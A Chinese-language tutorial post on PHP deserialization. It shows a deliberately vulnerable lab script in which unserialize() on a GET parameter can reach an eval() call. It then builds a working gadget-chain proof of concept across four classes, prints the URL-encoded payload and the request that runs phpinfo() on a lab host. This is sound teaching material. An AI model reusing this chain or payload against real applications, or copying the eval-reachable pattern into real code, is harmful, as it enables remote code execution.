反序列化漏洞(2), 分析调用链, 编写POC

反序列化漏洞(2), 反序列化调用链分析

一, 编写php漏洞脚本

http://192.168.112.200/security/unserial/ustest.php


class Tiger{
    public $string;
    protected $var;
    public function __toString(){
        return $this->string;
    }
    public function boss($value){
        @eval($value);
    }
    public function __invoke(){
        $this->boss($this->var);
    }
}

class Lion{
    public $tail;
    public function __construct(){
        $this->tail = array();
    }
    public function __get($value){
        $function = $this->tail;
        return $function();
    }
}

class Monkey{
    public $head;
    public $hand;
    public function __construct($here="cmd"){
        $this->head = $here;
        echo "Welcome to ".$this->head."
"
; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head)) { echo "hacker"; $this->source = "index.php"; } } } class Elephant{ public $nose; public $nice; public function __construct($nice="nice"){ $this->nice = $nice; echo $nice; } public function __toString(){ return $this->nice->nose; } } if(isset($_GET['cmd'])){ @unserialize($_GET['cmd']); } else{ $a = new Monkey; echo "Hello!"; } ?>

二. 代码审计, 编写POC脚本

1. 找到执行终点.

eval() 函数在Tiger类的boss()方法中, 那么只要能从unserialize()方法开始反序列化, 最终执行到 boss()方法就可以利用了.

2. 找到执行起点.

通常反序列化函数unserialize()在执行后, 必然会调用 __wakeup() 与 __destruct() 方法.
只有在 Monkey 类中有 __wakeup(), 那么以 Monkey 类作为调用链的起点来分析.

3. 分析出一条可以从起点到终点的调用链

Monkey 类的 __wakeup() 中调用 preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head),
preg_match() 函数要求两个参数都是字符串, 第一个参数是正则式, 第二个参数 $this->head 也必须是字符串.

我们看到 $this->head 的值最开始是来源于构造方法 __construct($here="cmd"), 默认值是"cmd",
如果程序走到 preg_match(), $this->head 作为参数传入时是一个字符串, 那么 __wakeup() 中就无法再执行到其他类的属性或方法了, 而我们的最终目的是要走到Tiger类的boss()方法, 所以 $this->head 这里考虑一下类型转换的情况.

我们再观察其他能够自动执行的魔术方法, 发现 __toString() 函数, 这个函数当对象转换为字符串时会自动调用.

那么我们再考虑 $this-head, 如果它原本是一个其他类的对象, 在传入 preg_match() 方法后就会被转换为字符串, 这样就会自动调用到那个类的 __toString() 方法了.

我们看到 __toString()TigerElephant 两个类中都有.
先看 Tiger 类, 它的 __toString() 只是返回了一个变量值, 无法调用其他对象或方法, 没有利用价值, 略过.

再看 Elephant 类, 它的 __toString () 返回 $this->nice->nose;, 那么我们如果让$this->head = new Elephant()就可以从Monkey对象自动走到这里.

根据上面的分析, 构造一下调用链的POC脚本:

class Elephant{
    public $nose;
    public $nice;
}

class Monkey{
    public $head;

    public function __construct(){
        $this->head = new Elephant();
    }
}

继续分析$this->nice->nose;, 由 $this->nice 对象读取 nose 属性, 我们可以观察一下有没有与调用属性自动会触发的魔术方法.

发现在 Lion 类中有一个__GET()方法, 该方法在读取不存在的属性时被调用.

那么如果我们让$this->nice是一个Lion类的对象, 而Lion类中并没有 nose 属性, 所以会自动触发 __GET() 方法, 我们继续编写POC.

class Lion{
    public $tail;
}

class Elephant{
    public $nose;
    public $nice;
    
    public function __construct(){
        $this->nice = new Lion();
    }
}

class Monkey{
    public $head;

    public function __construct(){
        $this->head = new Elephant();
    }
}

继续分析 __GET() 方法, 它里面有两句代码:

$function = $this->tail;
return $function();

我们知道在php中, 对象可以用函数形式来调用, 比如

$obj = new Test(); // 创建一个Test对象叫做 obj
$obj();

当对象以函数形式调用时, 会自动触发 __invoke() 方法.

那么回来观察 __GET() 方法, 如果 $this->tail 是一个对象的话, return $function(); 就是以函数形式调用对象, 它可以触发 __invoke() .

接下来我们观察一下其他类有没有 __invoke()方法, 发现在 Tiger 类中有, 那么我们让 Lion 走到 Tiger , 继续修改POC:

class Tiger{
    public $string;
    protected $var;

}

class Lion{
    public $tail;
    public function __construct(){
        $this->tail = new Tiger();
    }
}

class Elephant{
    public $nose;
    public $nice;
    public function __construct(){
        $this->nice = new Lion();
    }
}

class Monkey{
    public $head;
    public function __construct(){
        $this->head = new Elephant();
    }
}

继续分析 Tiger 中的代码, 发现__invoke()在调用 $this->boss($this->var);, 而boss()函数就是我们的终点, 参数就是属性var.

所以最后只要做一个赋值就可以完成整个调用链了, 修改poc:


class Tiger{
    public $string;
    protected $var = "phpinfo();"; // 执行phpinfo()

}

class Lion{
    public $tail;
    public function __construct(){
        $this->tail = new Tiger();
    }
}

class Elephant{
    public $nose;
    public $nice;
    public function __construct(){
        $this->nice = new Lion();
    }
}

class Monkey{
    public $head;
    public function __construct(){
        $this->head = new Elephant();
    }
}

// 创建对象显示出最终的序列化字符串
$monkey = new Monkey();
echo urlencode(serialize($monkey));
?>

poc执行结果:

O%3A6%3A%22Monkey%22%3A1%3A%7Bs%3A4%3A%22head%22%3BO%3A8%3A%22Elephant%22%3A2%3A%7Bs%3A4%3A%22nose%22%3BN%3Bs%3A4%3A%22nice%22%3BO%3A4%3A%22Lion%22%3A1%3A%7Bs%3A4%3A%22tail%22%3BO%3A5%3A%22Tiger%22%3A2%3A%7Bs%3A6%3A%22string%22%3BN%3Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%7D%7D

三, 漏洞利用

http://192.168.112.200/security/unserial/ustest.php提交GET请求.

http://192.168.112.200/security/unserial/ustest.php
?cmd=O%3A6%3A%22Monkey%22%3A1%3A%7Bs%3A4%3A%22head%22%3BO%3A8%3A%22Elephant%22%3A2%3A%7Bs%3A4%3A%22nose%22%3BN%3Bs%3A4%3A%22nice%22%3BO%3A4%3A%22Lion%22%3A1%3A%7Bs%3A4%3A%22tail%22%3BO%3A5%3A%22Tiger%22%3A2%3A%7Bs%3A6%3A%22string%22%3BN%3Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D%7D%7D

在页面上会看到后端执行了phpinfo();.

你可能感兴趣的:(渗透测试,安全)